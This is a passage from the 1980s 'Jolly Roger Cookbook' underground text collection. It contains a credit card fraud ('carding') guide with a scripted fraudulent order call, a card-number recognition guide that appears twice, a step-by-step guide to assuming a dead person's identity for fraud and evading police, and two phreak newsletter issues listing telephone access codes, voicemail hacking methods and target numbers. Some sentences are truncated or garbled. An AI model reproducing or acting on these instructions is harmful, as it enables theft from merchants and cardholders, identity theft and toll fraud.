  6638. this is the hard way, and probably not worth the trouble, unless you are
  6639. an expert on the system.  Using credit card numbers posted on BBS's is
  6640. risky.  The only advantage is that there is a good chance that other
  6641. people will use it, thus decreasing the chances of being the
  6642. sole-offender.  The last method of getting numbers is very good also.
  6643. In most video rental stores, they take down your credit card number
  6644. when you join to back-up your rentals.  So if you could manage to steal
  6645. the list or make a copy of it, then you are set for a LONG time.
  6646. Choosing a victim: Once you have the card number, it is time to make the
  6647. order.  The type of places that are easiest to victimize are small
  6648. businesses that do mail order or even local stores that deliver.
  6649. If you have an ad for a place with something you want and the order number
  6650. is NOT a 1-800 number then chances are better that you will succeed.
  6651. Ordering: When you call the place up to make the order, you must have
  6652. several things readily at hand.  
  6653. These are the things you will need: A name, telephone number, business
  6654. phone, card number (4 digit bank code if the card is MasterCard),
  6655. expiration date, and a complete shipping and billing address.
  6656. I will talk about all of these in detail.  A personal tip: When I call
  6657. to make an order, it usually goes much smoother if the person you are
  6658. talking to is a woman.  In many cases they are more gullible than men.
  6659. The name:  You could use the name on the card or the name of the person
  6660. who you are going to send the merchandise to.  Or you could use the name
  6661. on the card and have it shipped to the person who lives at the drop
  6662. (Say it is a gift or something). 
  6663. The name is really not that important because when the company verifies
  6664. the card, the persons name is never mentioned, EXCEPT when you have a
  6665. Preffered Visa card.  Then the name is mentioned.  You can tell if you
  6666. have a Preffered Visa card by the PV to the right of the expiration
  6667. date on the carbon. Nophone all day long waiting for the company to call
  6668. (Which they will), then the phone number to give them as your home-phone
  6669. could be one of the following: A number that is ALWAYS busy, a number
  6670. that ALWAYS rings, a payphone number, low end of a loop (and you will wait
  6671. on the other end), or a popular BBS.
  6672. NEVER give them your home phone because they will find out as soon as
  6673. the investigation starts who the phone belongs to.  The best thing would
  6674. be to have a payphone call forward your house
  6675. (via Cosm The business number:  When asked for, repeat the number you
  6676. used for your home phone.
  6677. Card number: The cards you will use will be Visa, Mastercard, and
  6678. American Express.  The best is by far Visa.  It is the most
  6679. straight-forward.  Mastercard is pretty cool except for the bank code.
  6680. When they ask for the bank code, they sometimes also ask for the bank
  6681. that issued it.  When they ask that just say the biggest bank you know of
  6682. in your area.  Try to avoid American Express.  They tend to lead full
  6683. scale investigations.  Unfortunately, American Express is the most popular
  6684. card out.   When telling the person who is taking your call the card
  6685. number, say it slow, clear, and with confidence.
  6686. e.g. CC# is 5217-1234-5678-9012.  Pause after each set of four so you
  6687. don't have to repeat it.
  6688. Expiration date: The date must be at LEAST in that month.  It is best
  6689. to with more than three months to go.
  6690. The address: More commonly referred to as the 'drop'.  Well the drop
  6691. can range from an abandoned building to your next door neighbors
  6692. apartment.  If you plan to send it to an apartment building then be
  6693. sure NOT to include an apartment number.  This will confuse UPS or postage
  6694. men a little and they will leave the package in the lobby. 
  6695. Here is a list of various drops: The house next door whose family is on
  6696. vacation, the apartment that was just moved out of, the old church that
  6697. will be knocked down in six months, your friends house who has absolutely
  6698. nothing to do with the type of merchandise you will buy and who will
  6699. also not crack under heat from feds, etc..
  6700. There are also services that hold merchandise for you, but personally
  6701. I would not trust them.  And forget about P.O. Boxes because you need
  6702. ID to get one and most places don't ship to them anyway.
  6703. Other aspects of carding:Verifying cards, seeing if they were reported
  6704. stolen.
  6705. Verifying cards: Stores need to verify credit cards when someone purchases
  6706. something with one.  They call up a service that checks to see if the
  6707. customer has the money in the bank.
  6708. The merchant identifies himself with a merchant number.  The service
  6709. then holds the money that the merchant verified on reserve.  When the
  6710. merchant sends in the credit card form, the service sends the merchant
  6711. the money.  The service holds the money for three days and if no form
  6712. appears then it is put back into the bank.  The point is that if you
  6713. want to verify something then you should verify it for a little amount
  6714. and odds are that there will be more in the bank.
  6715. The good thing about verification is that if the card doesn't exist or
  6716. if it is stolen then the service will tell you.  To verify MasterCard
  6717. and Visa try this number.  It is voice:1-800-327-1111 merchant code is
  6718. 596719.
  6719. Stolen cards: Mastercard and Visa come out with a small catalog every
  6720. week where they publish EVERY stolen or fraudulantly used card.
  6721. I get this every week by trashing the same place on the same day. 
  6722. If you ever find it trashing then try to get it every week.
  6723. Identifying cards: Visa card numbers begin with a 4 and have either 13
  6724. or 16 digits.  MasterCard card numbers begin with a 5 and have 16 digits.
  6725. American Express begins with a 3 and has 15 digits.  They all have the
  6726. formats of the following:
  6727. 3xxx-xxxxxx-xxxxx   American Express
  6728. 4xxx-xxx-xxx-xxx    Visa
  6729. 4xxx-xxxx-xxxx-xxxx Visa
  6730. 5xxx-xxxx-xxxx-xxxx MasterCard
  6731. Gold cards: A gold card simply means that credit is good for $5000. 
  6732. Without a gold card, credit would be normally $2000. 
  6733. To recognize a gold card on a carbon there are several techniques:
  6734. American Express-none.
  6735. Visa-PV instead of CV.
  6736. Note-When verifying a PV Visa, you have to have the real name of the
  6737. cardholder.
  6738. Mastercard-An asterix can signify a gold card, but this changes depending
  6739. when the card was issued.
  6740. I am going to type out a dialog between a carder and the phone operator
  6741. to help you get the idea.
  6742. Operator: "Over-priced Computer Goods, may I help you?"
  6743. Carder:   "Hi, I would like to place an order please."
  6744. Operator: "Sure, what would you like to order?"
  6745. Carder:   "400 generic disks and a double density drive."
  6746. Operator: "Ok, is there anything else?"
  6747. Carder:   "No thank you, that's all for today."
  6748. Operator: "Ok, how would you like to pay for this?  MasterCard or Visa?"
  6749. Carder:   "Visa."
  6750. Operator: "And your name is?"
  6751. Carder:   "Lenny Lipshitz." (Name on card)
  6752. Operator: "And your Visa card number is?"
  6753. Carder:   "4240-419-001-340" (Invalid card)
  6754. Operator: "Expiration date?"
  6755. Carder:   "06-92."
  6756. Operator: "And where would you like the package shipped to?"
  6757. Carder:   "6732 Goatsgate Port.  Paris,texas,010166."
  6758. Operator: "And what is your home telephone number?"
  6759. Carder:   "212-724-9970" (This number is actually always busy)
  6760. Operator: "I will also need your business phone number in case we have
  6761. to reach you."
  6762. Carder:   "You can reach me at the same number. 212-724-9970"
  6763. Operator: "O.K. Thank you very much and have nice day."
  6764. Carder:   "Excuse me, when will the package arrive?"
  6765. Operator: "In six to seven days UPS."
  6766. Carder:   "Thanks alot, and have a pleasant day."
  6767. Now you wait 6-7 days when the package will arrive to the address which
  6768. is really a house up for sale.  There will be a note on the door
  6769. saying, "Hello UPS, please leave all packages for Lenny Lipshitz in the
  6770. lobby or porch.  Thanks alot, Lenny Lipshitz" (Make the signature half-way
  6771. convincing)
  6772.  
  6773.                                   ------------------Jolly Roger
  6774.  
  6775. Recognizing credit cards                        by the Jolly Roger
  6776.  
  6777.   [Sample: American Express]
  6778.       XXXX XXXXXX XXXXX
  6779.       MM/Y1 THRU MM/Y2       Y1
  6780.       John Doe               AX
  6781.  
  6782. Explanation:
  6783. The first date is the date the person got the card, the second
  6784. date is the expriation date, after the expiration date is the same
  6785. digits in the first year.The American Express Gold has many more
  6786. numbers (I think 6 8 then 8). If you do find a Gold card keep it
  6787. for it has a $5000.00 backup even when the guy has no money!
  6788.  
  6789. [Sample: Master Card]
  6790.    5XXX XXXX XXXX XXXX
  6791.    XXXX AAA DD-MM-YY MM/YY
  6792.    John Doe.
  6793.  
  6794. Explanation:
  6795. The format varies, I have never seen a card that did not start with
  6796. a 5XXX there is another 4 digits on the next line that is sometimes
  6797. asked for when ordering stuff, (and rarely a 3 digit letter combo
  6798. (e. ANB). The first date is the date the person got the card
  6799. and the second date is the expiration date.
  6800. Master Card is almost always accepted at stores.
  6801. [Sample: VISA]
  6802.    XXXX XXX(X) XXX(X) XXX(X)
  6803.    MM/YY    MM/YY*VISA
  6804.    John Doe
  6805.  
  6806. Explanation:
  6807. Visa is the most straight forward
  6808. of the cards,for it has the name right on the card itself, again the
  6809. first date is the date he got the card and the second is the
  6810. expiration date. (Sometimes the first date is left out). The
  6811. numbers can eather be 4 3 3 3 or 4 4 4 4. Visa is also almost always
  6812. accepted at stores, therefore, the best of cards to use.
  6813. Recognizing credit cards                        by the Jolly Roger
  6814.  
  6815.   [Sample: American Express]
  6816.       XXXX XXXXXX XXXXX
  6817.       MM/Y1 THRU MM/Y2       Y1
  6818.       John Doe               AX
  6819.  
  6820. Explanation:
  6821. The first date is the date the person got the card, the second
  6822. date is the expriation date, after the expiration date is the same
  6823. digits in the first year.The American Express Gold has many more
  6824. numbers (I think 6 8 then 8). If you do find a Gold card keep it
  6825. for it has a $5000.00 backup even when the guy has no money!
  6826.  
  6827. [Sample: Master Card]
  6828.    5XXX XXXX XXXX XXXX
  6829.    XXXX AAA DD-MM-YY MM/YY
  6830.    John Doe.
  6831.  
  6832. Explanation:
  6833. The format varies, I have never seen a card that did not start with
  6834. a 5XXX there is another 4 digits on the next line that is sometimes
  6835. asked for when ordering stuff, (and rarely a 3 digit letter combo
  6836. (e. ANB). The first date is the date the person got the card
  6837. and the second date is the expiration date.
  6838. Master Card is almost always accepted at stores.
  6839. [Sample: VISA]
  6840.    XXXX XXX(X) XXX(X) XXX(X)
  6841.    MM/YY    MM/YY*VISA
  6842.    John Doe
  6843.  
  6844. Explanation:
  6845. Visa is the most straight forward
  6846. of the cards,for it has the name right on the card itself, again the
  6847. first date is the date he got the card and the second is the
  6848. expiration date. (Sometimes the first date is left out). The
  6849. numbers can eather be 4 3 3 3 or 4 4 4 4. Visa is also almost always
  6850. accepted at stores, therefore, the best of cards to use.
  6851. How To Create A New Indentity                    By The Walking Glitch
  6852.                      Courtesy of the Jolly Roger!
  6853.              
  6854. You might be saying, "Hey Glitch, what do I need a new identity for?"
  6855. The answer is simple. You might want to go buy liquor somewhere, right?
  6856. You might want to go give the cops the false name when you get busted
  6857. so you keep your good name, eh?  You might even want to use the new
  6858. identity for getting a P.O. Box for carding. Sure! You might even
  6859. want the stuff for renting yourself a VCR at some dickless loser of a
  6860. convenience store. Here we go:
  6861. Getting a new ID isn't always easy, no one said it would be. By following
  6862. these steps, any bozo can become a new bozo in a coupla weeks.
  6863.  
  6864. STEP 1
  6865.  
  6866. The first step is to find out who exactly you'll become. The
  6867. most secure way is to use someone's ID who doesn't use it themselves.
  6868. The people who fit that bill the best are dead. As an added bonus they
  6869. don't go complaining one bit. Go to the library and look
  6870. through old death notices. You have to find someone who was born about
  6871. the same time as you were, or better yet, a year or two older
  6872. so you can buy booze, etc. You should go back as far as you can for the
  6873. death because most states now cross index deaths to births so people
  6874. can't do this in the future. The cutoff date in Wisconsin is 1979, folks
  6875. in this grand state gotta look in 1978 or earlier. Anything earier there
  6876. is cool. Now, this is the hardest part if you're younger. Brats that
  6877. young happen to be quite resilient, takin' falls out of three story windows
  6878. and eating rat poison like its Easter candy, and not a scratch or
  6879. dent. There ain't many that die, so ya gotta look your ass off. Go
  6880. down to the library and look up all the death notices you can,
  6881. if it's on microfilm so much the better. You might have to go through
  6882. months of death notices though, but the results are well worth it.
  6883. You gotta get someone who died locally in most instances: the death
  6884. certificate is filed only in the county of death. Now you go down to
  6885. the county courthouse in the county where he died and get the
  6886. death certificate, this will cost you around $3-$5 depending on the state
  6887. you're in. Look at this hunk of paper, it could be your way to
  6888. vanish in a clould of smoke when the right time comes, like right after
  6889. that big scam. If You're lucky, the slobs parents signed him up with
  6890. social security when he was a snot nosed brat. That'll be another piece
  6891. of ID you can get. If not, thats ok too. It'll be listed on the death
  6892. certificate if he has one. If you're lucky, the stiff was born
  6893. locally and you can get his birth certificate right away.
  6894.  
  6895. STEP 2
  6896.  
  6897. Now check the place of birth on the death certificate, if it's in
  6898. the same place you standing now you're all set. If not, you can mail
  6899. away for one from that county but its a minor pain and it might 
  6900. take a while to get, the librarian at the desk has listings of where
  6901. to write for this stuff and exactly how much it costs. Get the Birth
  6902. cirtificate, its worth the extra money to get it certified
  6903. because thats the only way some people will accept it for ID. When yur
  6904. gettin this stuff the little forms ask for the reason you want it,
  6905. instead of writing in "Fuck you", try putting in the word "Geneology".
  6906. They get this all the time.  If the Death certificate looks good for
  6907. you, wait a day or so before getting the certified birth certificate
  6908. in case they recognize someone wanting it for a dead guy.
  6909.  
  6910. STEP 3
  6911.  
  6912. Now your cookin! You got your start and the next part's easy.
  6913. Crank out your old Dot matrix printer and run off some mailing labels
  6914. addressed to you at some phony address. Take the time to check your
  6915. phony address that there is such a place. Hotels that rent by the month
  6916. or large apartment buildings are good, be sure to get the right zip
  6917. code for the area. These are things that the cops might notice that
  6918. will trip you up.  Grab some old junk mail and paste your new lables
  6919. on them. Now take them along with the birth certificate down to the library.
  6920. Get a new library card. If they ask you if you had one before say that
  6921. you really aren't sure because your family moved around alot when
  6922. you were a kid. Most libraries will allow you to use letters as a form
  6923. of ID when you get your card. If they want more give them a sob story
  6924. about how you were mugged and got your wallet stolen with all your
  6925. identification. Your card should be waiting for you in about two weeks.
  6926. Most libraries ask for two forms of ID, one can be your trusty Birth
  6927. Certificate, and they do allow letters addressed to you as a second
  6928. form.
  6929.  
  6930. STEP 4
  6931.     
  6932. Now you got a start, it isn't perfect yet, so let's continue. You should
  6933. have two forms of ID now. Throw away the old letters, or better yet
  6934. stuff them inside the wallet you intend to use with this stuff.
  6935. Go to the county courthouse and show them what nice ID you got and get
  6936. a state ID card. Now you got a picture ID. This will take about two weeks
  6937. and cost about $5, its well worth it.
  6938.  
  6939. STEP 5
  6940.  
  6941. If the death certificate had a social security number on it you can go
  6942. out and buy one of those metal SS# cards that they sell.
  6943. If it didn't, then you got all kinds of pretty ID that shows exactly
  6944. who you are. If you don't yet have an SS#, Go down and apply for one,
  6945. these are free but they could take five or six weeks to get,
  6946. Bureaucrats you know... You can invent a SS# too if ya like, but the motto
  6947. of 'THE WALKING GLITCH' has always been "Why not excellence?".
  6948.  
  6949. STEP 6
  6950.  
  6951. If you want to go whole hog you can now get a bank account in your new
  6952. name.  If you plan to do alot of traveling then you can put alot
  6953. of money in the account and then say you lost the account book.  After 
  6954. you get the new book you take out all the cash. They'll hit you
  6955. with a slight charge and maybe tie-up your money some, but if you're
  6956. ever broke in some small town that bank book will keep you from being
  6957. thrown in jail as a vagrant.
  6958.  
  6959. ALL DONE?
  6960.  
  6961. So kiddies, you got ID for buying booze, but what else? In some towns
  6962. (the larger the more likely) the cops if they catch you for something
  6963. petty like shoplifting stuff under a certain dollar amount, will just
  6964. give you a ticket, same thing for pissing in the street. Thats it!
  6965. No fingerprints or nothing, just pay the fine (almost always over $100)
  6966. or appear in court.  Of course they run a radio check on your ID, you'll
  6967. be clean and your alter-ego gets a blot on his record.
  6968. Your free and clear.  Thats worth the price of the trouble you've gone
  6969. through right there.  If your smart, you'll toss that ID away if this
  6970. happens, or better yet, tear off your picture and give the ID to someone
  6971. you don't like, maybe they'll get busted with it.
  6972. If you're a working stiff, here's a way to stretch your dollar. Go to work
  6973. for as long as it takes to get unemployment and then get yourself fired.
  6974. Go to work under the other name while your getting the unemployment.
  6975. With a couple of sets of ID, you can live like a king.  These concepts
  6976. for survival in the new age come to you compliments of THE WALKING GLITCH.
  6977. First release of this phile 7/7/88.
  6978.  
  6979.                       brought to you in the Cookbook courtesy of...
  6980.                                        ---------------The Jolly Roger
  6981.  
  6982.  
  6983. ##########################################################################
  6984. #                                                                        #
  6985. #                           The Remote Informer                          #
  6986. #                                                                        #
  6987. #------------------------------------------------------------------------#
  6988. #                                                                        #
  6989. #              Editors: Tracker, Norman Bates, and Ye Cap'n              #
  6990. #                                                                        #
  6991. #========================================================================#
  6992. # September 26, 1987                                           Issue: 02 #
  6993. #========================================================================#
  6994. ##########################################################################
  6995. #                                                                        #
  6996. #   Brought to you by the 'new' TUFF:  The Underground Fone Federation   #
  6997. #                                                                        #
  6998. ##########################################################################
  6999. ==========================================================================
  7000.                                  The News                                 
  7001. ==========================================================================
  7002.      Sprint Strikes Back      |    Celestial Elite/TUFF Come to an End    
  7003. ==============================|===========================================
  7004.    Sprint caught a guy dealing|   Celestial  Elite  and  TUFF, the  famous
  7005. codes  on  the  street  in  LA|hack/phreak groups came to an end  a couple
  7006. this  past  week.  Information|weeks ago.  TUFF, however, is being  reborn
  7007. on  this  bust  is limited  at|and you can  expect it to  be back  to full
  7008. this time.                    |force within a month.  Sources have it that
  7009.    A seventeen  year  old  was|Magnus Adept, head  of the  now  terminated
  7010. busted  in Arizona  last week.|group, Celestial  Elite, has  started a new
  7011. The name of the  teenager will|group called Avalon Kingdom.  We are unsure
  7012. not be printed to  protect him|what plans are in store for it.            
  7013. from harassment calls.        |   TUFF has  several ideas  and  plans that
  7014.                               |will be out to the  public soon.  Look  for
  7015. >This information was supplied|future  issues  of The Remote Informer (tm)
  7016.      by Phreaky Phone II      |for new updates.                   
  7017.        
  7018. ==========================================================================
  7019.         Beige Box Bust        |   TeleNet Hacker   |  Bate's Motel Moves  
  7020. ==============================|====================|======================
  7021.    One  of our  editors and  a|   Crusader released|   Bate's  Motel  BBS,
  7022. member of  TUFF, Norman  Bates|his  TeleNet hacking|run  by  Norman Bates,
  7023. was  caught  for  Beige boxing|program on September|was forced to move. It
  7024. that he had done over 3 months|20, 1987.  Look  for|is temporarily  set up
  7025. ago.  The  calls  he had  made|it on a  good  board|at  (619)267-8619.  It
  7026. were inside his state and cost|you  call.  A review|will remain 1200 baud,
  7027. a total  of $12.  He  paid the|will be in the  next|and a  member  of  the
  7028. bill and no charges were filed|issue of The Remote |TUFF  Network.  It  is
  7029. against him.                  |Informer.           |open to the public.   
  7030. ==========================================================================
  7031.    Phreaky Phones Return: Amazing?   | LDDS Buys Out TMC: Companies Merge 
  7032. =====================================|====================================
  7033.    The original Phreaky Phone numbers|   LDDS bought  out TMC last  month.
  7034. now support  the new  Phreaky Phones.|They merged into  LDDS, since it was
  7035. The guys running  them  had protested|bigger  and   more  widespread.  Any
  7036. that the  lines were being monitored.|companies that  were  subscribing to
  7037. There is no way that could have been,|the  TMC  long distance service were
  7038. and  they contradicted  themselves by|automatically coverted to LDDS.  All
  7039. restarting Phreaky Phones on the same|local TMC ports still work, but will
  7040. numbers.  They  gave  alot of  credit|soon be disconnected.  Refer  to the
  7041. to the people calling to suggest they|article  on  LDDS  in this issue for
  7042. believe a story like that.           |more  information on LDDS  dial-ups.
  7043. ==========================================================================
  7044.    US Sprint Calls Destinations  |  Pirate's Hollow Is Back With 10 Megs  
  7045. ==========================================================================
  7046.    US Sprint  now  calls  all the|   Pirate's Hollow is  back on-line.  It
  7047. numbers called  with unauthorized|now is run a  10 meg hard drive.  Unlike
  7048. codes.   Their  dis-advantage  is|most boards that have #'s  of megs, this
  7049. that  they are  delayed by  about|one will stress more  attention  on it's
  7050. two  months  in  calling  because|database.  The  database is scheduled to
  7051. they  have to  wait  till  people|be online by October 1st. This database
  7052. report they did not make calls to|will  contain 800+ text files on various
  7053. the numbers they were billed for.|topics, with  about 60% - 70% pertaining
  7054. Best advice is  to not call voice|to  illegal  activities.  Unfortunately,
  7055. with Sprint  except to  those who|Trax Xe is being redesigned, so until it
  7056. have   private  lines  other than|is finished, it will run on Carina.  The
  7057. their regular phone line.        |number is (415)593-6784 (300/1200 baud).
  7058. ==========================================================================
  7059.                            Raggers and Braggers                           
  7060. ==========================================================================
  7061.    This section is to make  you aware  of well-known raggers and braggers.
  7062. Since this is  the first time this  section is being printed, we will tell
  7063. you what classifies people as raggers and braggers.  In  the future issues
  7064. the top raggers and braggers will be  listed in this newsletter to let the
  7065. SysOps  know who not to let on their board, or to  atleast keep an eye on.
  7066.    A ragger is someone who will put someone else  down for something.  The
  7067. person might post a message  asking a novice  question  about hacking  and
  7068. phreaking, or may  say  something  that is completely wrong, and a  ragger
  7069. will  put the  other person  down for he said, posted, etc.  The ones that
  7070. usually classify in this category are the ones that think they know it all
  7071. and consider themselves right  no matter  what anyone  says.  Most  of the
  7072. users that  use codes and  consider  themselves a  master phreaker usually
  7073. become raggers.                                                         
  7074.    A bragger is someone who either does or thinks he does know everything,
  7075. and puts it upon himself to tell  the  whole  world that he  knows it all.
  7076. This  person is also  one who thinks he is better  than  everyone else and
  7077. he believes he is Elite, and no one else is.  People  who tend to  do this
  7078. are those who have, for some reason, become well-known in the  underworld,
  7079. and as  a result become a bragger.  Those  usually not too well-known will
  7080. not tend  to brag as  much as  those who think  everyone would  love to be
  7081. their friend and be like them.                         
  7082.    As a well-known ragger and  bragger, The Toad, learned that it does not
  7083. help to be one or both of those.  He  has since  changed and is now easily
  7084. accepted by  most.  Most people  disliked him because others they knew had
  7085. said something bad about him.  This  is called peer pressure and  is a bad
  7086. influence to those who  are new to the underworld.  I would suggest in the
  7087. future,  to not judge someone by what others  say, but rather by  how they
  7088. act around/to you. 
  7089.    The current  most  popular Atarian  that  classifies as a  ragger and a
  7090. bragger is Ace of Aces, and  is well-hated by many users and SysOps, since
  7091. he tends to put  down anything anyone  says and considers himself the best
  7092. at writing hacking programs.  He is commonly  referred to as  Ass of Asses
  7093. and Ass of Assholes.  Even holding an open  mind about this guy, you would
  7094. soon come to find that what others said  coincides  with what you see from
  7095. him.                                                                      
  7096. ==========================================================================
  7097.                           A New 950 has arrived!                          
  7098. ==========================================================================
  7099.    LDDS, who as  mentioned above bought out TMC, is  installing  a new 950
  7100. port to most major  cities.  By the time  you read  this, it should  be in
  7101. almost every area that supports 950 ports.  The number is  950-1450.  This
  7102. port will dial 976 numbers, but not 700, 800, or 900 numbers.  The dialing
  7103. method  for LDDS is:  7 digit code, then  even if the code is  bad it will
  7104. give you a dial tone.  Then  dial the area  code  plus the number.  If you
  7105. have a bad code it will simply say your call cannot be completed as it was
  7106. dialed.  There is a default code used on the system that  currently works.
  7107. The code is simply, 1234567.  I have seen codes from 5 different companies
  7108. and they all are in the format of 00xxxxx.  I do  not  know  what  type of
  7109. software they use, but I  will  know by  the next  issue exactly what they
  7110. place  on  the bills.  This  could  be  the  answer  to  alot  of people's
  7111. problems with fear of Sprint and ITT, especially  AllNets.  Just remember,
  7112. Tracker  is the one  who  found  this, and all  information  about it.  If
  7113. someone  is seen saying  they found  this, then they will be listed in the
  7114. next issue which will contain an article on leeches.                      
  7115. ==========================================================================
  7116.                              Mailbox Systems                              
  7117. ==========================================================================
  7118.    Mailbox systems are the link between information and the underworld. If
  7119. you have ever called one, then you will know the advantages of having one,
  7120. especially the ones that are  open to whole underworld, rather than just a
  7121. select few.  There are two types  of mailbox systems that are widely used.
  7122.    The first  type we will  talk about is the multiple mailbox systems, or
  7123. commonly referred to  as  message  systems.  These  systems  have several
  7124. mailboxes set up on one number.  Usually, you  can access other  mailboxes
  7125. from that  number  by  pressing '*' or '#'.  Sometimes you  just enter the
  7126. mailbox number and you are connected.  These are the safest systems to use
  7127. to protect information from US Sprint and other  long distance  companies.
  7128. Since US Sprint and other companies  call  the destination  numbers, it is
  7129. safer to  have 800 mailbox systems, and  most  of  the time, the  multiple
  7130. mailbox systems  are on 800 numbers.  The  passcode on  these  systems can
  7131. vary in length and can be accessed by several  different methods, so it is
  7132. impossible to explain exactly how to hack these systems.                  
  7133.    The other type is the single mailbox system.  These  are usually set up
  7134. in a reserved  prefix in an area  code.  (Ex: 713-684-6xxx)  These systems
  7135. are usually  controlled by the  same type of hardware/software.  To access
  7136. the area  where you  enter the  passcode, just hit '0' for a second or so.
  7137. The passcodes are  four (4)  digits  long.  The only way to hack  these is
  7138. manually.  The best thing you could do is to  find one that does not  have
  7139. a recording from a person, but just the  digitized voice.  If you hack one
  7140. that  someone already  owns, they will  report it and  it will not last as
  7141. long.                                                                     
  7142.    Here is a list mailboxes or prefixes to help you get started       
  7143. --------------------------------------------------------------------------
  7144.    Single                          Multiple                        Digits 
  7145. ------------                     ------------                     --------
  7146. 213-281-8xxx                     212-714-2770                         3   
  7147. 213-285-8xxx                     216-586-5000                         4   
  7148. 213-515-2xxx                     415-338-7000 Aspen Message System    3   
  7149. 214-733-5xxx                     714-474-2033 Western Digital             
  7150. 214-855-6xxx                     800-222-0651 Vincent and Elkins      4   
  7151. 214-978-2xxx                     800-233-8488                         3   
  7152. 215-949-2xxx                     800-447-8477 Fairylink               7   
  7153. 312-450-8xxx                     800-521-5344                         3   
  7154. 313-768-1xxx                     800-524-2133 RCA                     4   
  7155. 405-557-8xxx                     800-527-0027 TTE TeleMessager        6   
  7156. 602-230-4xxx                     800-632-7777 Asynk                   6   
  7157. 619-492-8xxx                     800-645-7778 SoftCell Computers      4   
  7158. 713-684-6xxx                     800-648-9675 Zoykon                  4   
  7159.                                  800-847-0003 Communications World    3   
  7160. ==========================================================================
  7161.                            The Disclaimer!                            
  7162. ==========================================================================
  7163.    We, the editors, take no  responsibility  for  your actions and  use of
  7164. the information in this newsletter.  This newsletter is for  informational
  7165. purposes  only.  If  you   are  easily   offended   by   telecommunication
  7166. discussions, then we suggest  that you not read  this newsletter.  But for
  7167. those  who are  truely interested in the  information in this  newsletter,
  7168. enjoy it.                                                                 
  7169. ==========================================================================
  7170.                          Coming in the next issue!                        
  7171. ==========================================================================
  7172.    In the next issue, we  will  be open  for suggestions from  the readers
  7173. of this issue.  We will have some featured articles though, which include:
  7174. 1) Study of bridges
  7175. 2) Review of Crusader's new TeleNet Hacker
  7176. 3) More information on the new LDDS 950 port
  7177. 4) Review of Code Hackers for all modems
  7178. 5) List of TeleNet addresses
  7179. 6) Credit Card checkers
  7180. 7) Ideas from the readers
  7181. ==========================================================================
  7182.  
  7183.       Brought to you in the Cookbook by the Jolly Roger!!!!!!!!!!!!!!!
  7184.  
  7185. ##############################################################################
  7186. #                      _________________________________                     #
  7187. #                       /he Remote Informer Newsletter!                      #
  7188. #                                                                            #
  7189. #----------------------------------------------------------------------------#
  7190. # November                                                     TRI Issue: 03 #
  7191. #----------------------------------------------------------------------------#
  7192. #                                                                            #
  7193. #     The Editors:  Tracker, Ye Cap'n, Norman Bates, and The Reporter        #
  7194. #                                                                            #
  7195. ##############################################################################
  7196. ==============================================================================
  7197. =                            Introduction                                    =
  7198. ==============================================================================
  7199. It's been a month now, and ALOT has happened.  So much, in fact, that the
  7200. information will be split into several issues.  This should be no shock since
  7201. I mentioned in the first issue that we may put several issues out sometimes.
  7202.      I want to congratulate the readers for finally contributing to the
  7203. newsletter.  This first two issues were all on information that I, myself,
  7204. obtained.  Several people gave me information for these issues, and their
  7205. handle and information is included in the articles.
  7206. ==============================================================================
  7207. =                                 In The News!                               =
  7208. ==============================================================================
  7209.      ITT has 9 digits!     |       Phreaky Phones Go Down!       |Information!
  7210. ==============================================================================
  7211.    For those of you who did|   The famed Phreaky Phones  are down|   We   have
  7212. not know this, ITT has nine|again. Modem Man, the original person|so much info
  7213. digit codes.  They are said|that started them, has said that they|to put  out,
  7214. to give  better connections|will be down until further notice. In|that  we are
  7215. to some extent.  This info.|the meantime, other independent boxes|putting  out
  7216. was  originally given to us|are being started.   A listing can be|many  issues
  7217. by Party Beast.            |made of current ones on request.     |at one time.
  7218. =================================================================|If you  want
  7219.   Magnus Adept Gets Busted  |    Sprint Codes Are Dying Fast!    |all   issues
  7220. =================================================================|that are out
  7221.    Fellow Atarian  and well-|   Sprint codes  are hard to get and|now,    then
  7222. known  phreak  Magnus  Adept|when they are obtained, they tend to|call  one of
  7223. got caught  by MCI.  Details|die rather  quickly.  Phreakers have|the   boards
  7224. of the  how, when, and where|been  saying that  the 950-0777 port|at  the  end
  7225. are not known at  this time.|is dead, but  on the contrary, it is|of the issue
  7226. He got caught with 150 codes|still  available in states  that are|or look  for
  7227. and  may  have to pay  up to|not highly  abused by phreaks.  Here|an editor on
  7228. 50 dollars  for  each  code.|again, rumors are being spread.     |a hack  BBS.
  7229. ==============================================================================
  7230. =                          The Best BBS of the Month                         =
  7231. ==============================================================================
  7232.      Starting from now on, we will have a BBS of the month.  We will choose a
  7233. BBS, ragardless of computer type, and look at the user participation in phreak
  7234. related matters, as well as quality discussions on the various illegal topics.
  7235. A BBS can remain the BBS of the month as long as they reside above the rest of
  7236. the BBS systems.  Even though we will sometimes bring out more than one issue
  7237. in a month, the board will remain BBS of the month until the first issue inthe
  7238. next month comes out.
  7239.      This month's BBS of the month is FBI PirateNet.  We chose this board
  7240. because of the large numbers of posts in the bases, and not only information,
  7241. but discussions as well, with a minimum number of posts from raggers and
  7242. braggers.  The number for it is 516-661-7360.  The SysOp of FBI PirateNet is
  7243. The Phantom, not to be confused with an earlier narc.
  7244. ==============================================================================
  7245. =           US Sprint Expected to Trim Staff, Consolidate Divisions          =
  7246. ==============================================================================
  7247.      New York -- US Sprint Communications Corp., the troubled long distance
  7248. carrier, is expected to announce soon that it will cut its work force by
  7249. several hundred people and reduce its seven regional divisions to 3 operating
  7250. groups, sources familiar with the company said.
  7251.      The company's Pacific division is based in Burlingame, CA.  The layoffs
  7252. and reorganization are part of a plan by US Sprint's new president, Robert H.
  7253. Snedaker, to reduce heavy operating losses, which analysts expect to reach
  7254. more than $800 million this year.
  7255.      Snedaker replaced Charles M. Slibo, who was forced to resign in July
  7256. because losses were running much higher than the parent companies had
  7257. expected.  Problems with the company's computerized billing system also
  7258. contributed to Skibo's ouster.  US Sprint is owned and operated by the GTE
  7259. Corp. and United TeleCom.
  7260.      According to sources close to Snedaker, who was vice chairman and chief
  7261. operating officer of United TeleCom, he is planning to consolidate the
  7262. company's 7 divisions, which operate in the same geographical regions as the
  7263. seven regional Bell operating companies, into 3 divisions.
  7264.      The rationale for the move, according to idustry analysts, is that the
  7265. company will need a much smaller work force once it begins handling all it's
  7266. phone traffic on it's new fiber optic network, which can carry a greater
  7267. number of telephone calls at less cost.  Company officials have said that
  7268. they expect to have most of the traffic on the network by early next year.
  7269.      One source said that there would be more than one round of layoffs in the
  7270. coming months and that the company ultimately plans to reduce its 14,000
  7271. member work force by 15 percent.
  7272.      Several top managers are expected to resign as soon as US Sprint
  7273. centralizes its marketing and support operations as its headquarters in Kansas
  7274. City, MO., according to a report in the latest issue of Business Week
  7275. magazine.
  7276.      A spokesman for US Sprint said on Friday that the company would not
  7277. comment on the rumors.  The company is the nation's third largest long
